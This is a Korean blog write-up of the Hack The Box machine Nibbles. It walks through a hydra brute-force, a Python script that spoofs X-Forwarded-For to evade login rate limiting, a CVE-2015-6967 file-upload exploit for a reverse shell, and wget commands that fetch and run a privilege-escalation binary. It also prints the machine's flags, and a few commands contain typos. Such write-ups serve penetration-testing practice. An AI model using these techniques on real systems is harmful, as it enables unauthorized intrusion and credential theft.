ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HTB] Nibbles Writeup
    Wargame/Hack The Box 2022. 1. 23. 21:12

    nmap -sC -sS -sV -O -p- -o scanResult.txt 10.129.180.107

    80포트로 접근해보니 아래와 같은 페이지가 안내되었고,

    /nibbleblog/ 디렉토리에는 다음과같은 블로그페이지가 있었다.

    경로에 /admin~ 이 존재하는 것을 보고 접근해보니 디렉토리인덱싱이 발생하는것을 확인 할 수있었다.

    또한, 별도의 admin.php 페이지가 존재했다.

    hydra tool을 활용하여 관리자 계정에 대해 Bruteforce 공격을 해보았지만, 반복횟수에 따른 제한이 있는지 접근이 제한되어버렸다.

    hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.129.182.134 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password."

    실제로 테스트를 해보니 패스워드를 5번틀리고 6번째 시도부터는 block됨을 알 수 있었다.

    하지만, 여기서 오히려 admin이라는 계정이 존재한다는 것을 알 수 있었다.

     

    차단을 우회하며 bruteforce를 시도하기 위해, 4번째 시도마다 공격자의 IP를 바꾸면 되지 않을까 생각하고 있었는데, 마침 좋은 레퍼런스가 있었다.

    from random import randint
    
    import requests
    
    
    # -------------------------------------------------------------
    # TODO:
    # - Add all project specific information as program arguments.
    # - Add tried IP addresses to a set to avoid accidental reuse.
    # - Don't generate network or broadcast IP addresses.
    # - Consider removing the requests dependency and using urllib.
    # -------------------------------------------------------------
    
    
    # Brute force information
    # The `RATE_LIMIT` value should be the number of requests after
    # which an IP address is blacklisted. We will switch IP addresses
    # before this limit is hit to avoid spamming the blacklist log.
    PASSWORD_LIST = '/usr/share/wordlists/rockyou.txt'
    RATE_LIMIT = 5
    RATE_LIMIT_ERROR = 'Blacklist protection'
    LOGIN_FAILED_ERROR = 'Incorrect username or password.'
    
    # Target information
    RHOST = '10.10.10.75'
    LOGIN_PAGE = '/nibbleblog/admin.php'
    TARGET_URL = f'http://{RHOST}{LOGIN_PAGE}'
    USERNAME = 'admin'
    
    
    def attempt_login(password: str, ip: str) -> bool:
        """Performs a login using a given password.
    
        :param password: The password to try.
        :param ip: Spoof the attacker's IP address with this one.
        :return: True if the login was successful, otherwise False.
        """
        headers = {'X-Forwarded-For': ip}
        payload = {'username': USERNAME, 'password': password}
        r = requests.post(TARGET_URL, headers=headers, data=payload)
    
        if r.status_code == 500:
            print("Internal server error, aborting!")
            exit(1)
    
        if RATE_LIMIT_ERROR in r.text:
            print("Rate limit hit, aborting!")
            exit(1)
    
        return LOGIN_FAILED_ERROR not in r.text
    
    
    def random_ip() -> str:
        """Generate a random IP address.
    
        :return: A random IP address.
        """
        return ".".join(str(randint(0, 255)) for _ in range(4))
    
    
    def run(start_at: int = 1):
        """Start the brute force process.
    
        :param start_at: Start brute forcing at the password with this 1-based index.
         The number represents the line in the password file. This is handy if the
         program was stopped during a previous attempt, allowing the user to resume
         the attack.
        """
        ip: str = random_ip()
        num_attempts: int = 1
    
        for password in open(PASSWORD_LIST):
            if num_attempts < start_at:
                num_attempts += 1
                continue
    
            if num_attempts % (RATE_LIMIT - 1) == 0:
                ip = random_ip()
    
            password = password.strip()
            print(f"Attempt {num_attempts}: {ip}\t\t{password}")
    
            if attempt_login(password, ip):
                print(f"Password for {USERNAME} is {password}")
                break
            
            num_attempts += 1
    
            
    if __name__ == '__main__':
        run()

    https://eightytwo.net/blog/brute-forcing-the-admin-password-on-nibbles/#ip-blacklisting

     

    eighty-two - Brute-forcing the admin password on Nibbles

    Hack The Box provides a platform for practising penetration testing, offering a large number of machines with a wide variety of vulnerabilities. Nibbles is one such machine on Hack The Box and is beginner friendly. This post discusses brute-forcing the pas

    eightytwo.net

    위 공격 코드를 활용하여

    admin 계정의 password는 nibbles 임을 확인 할 수 있었다.

     

    관리자 계정정보를 확보한 후 nibbleblog의 알려진 취약점에 대해 조사해봤다.

    이에 관련하여 임의 파일 업로드 취약점인 CVE-2015-6967 을 활용해보기로 했고, 리버스쉘을 획득 할 수 있었다.

    https://github.com/dix0nym/CVE-2015-6967

     

    GitHub - dix0nym/CVE-2015-6967: Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967)

    Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967) - GitHub - dix0nym/CVE-2015-6967: Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967)

    github.com

    python3 fileupload.py --url http://10.129.186.195/nibbleblog/ --username admin --password nibbles --payload rs.php

     

    해당 서버에 wget 명령어가 활성화되어있는것을 확인하고 해당 OS의 로컬 권한 상승 취약점을 조사해보았다.

     

    여러 exploit이 나오지만 44298.c를 사용하기로 했다. 해당 exploit 을 python 서버에 올린 후 획득해놓은 리버스 쉘에서 wget을 통해 해당 코드를 다운로드 및 실행하여 권한상승을 시도해보기로 했다.

    searchsploit linux 4.4 priv
    searchsplot -m 44298
    gcc 44298.c -o privesc
    pythom3 -m http.server 6338
    
    
    wget http://10.10.14.19:6338/privesc
    chmod + ./privesc
    ./privesc
    cat /root/root.txt

    위 과정을 거쳐서 루트 권한까지 획득하여 문제를 해결 할 수 있었다.

     

    FLAG =

    [user] f4c17f27140bda31d79e285493d5eb63

    [root] 6b71c2137304c3eccd22eede4f549528

    반응형

    'Wargame > Hack The Box' 카테고리의 다른 글

    [HTB] Valentine Writeup  (0) 2022.01.29
    [HTB] Grandpa Writeup  (0) 2022.01.27
    [HTB] Jerry Writeup  (0) 2022.01.22
    [HTB] Arctic Writeup  (0) 2022.01.19
    [HTB] Sense Writeup  (0) 2022.01.17

    댓글

Designed by Tistory.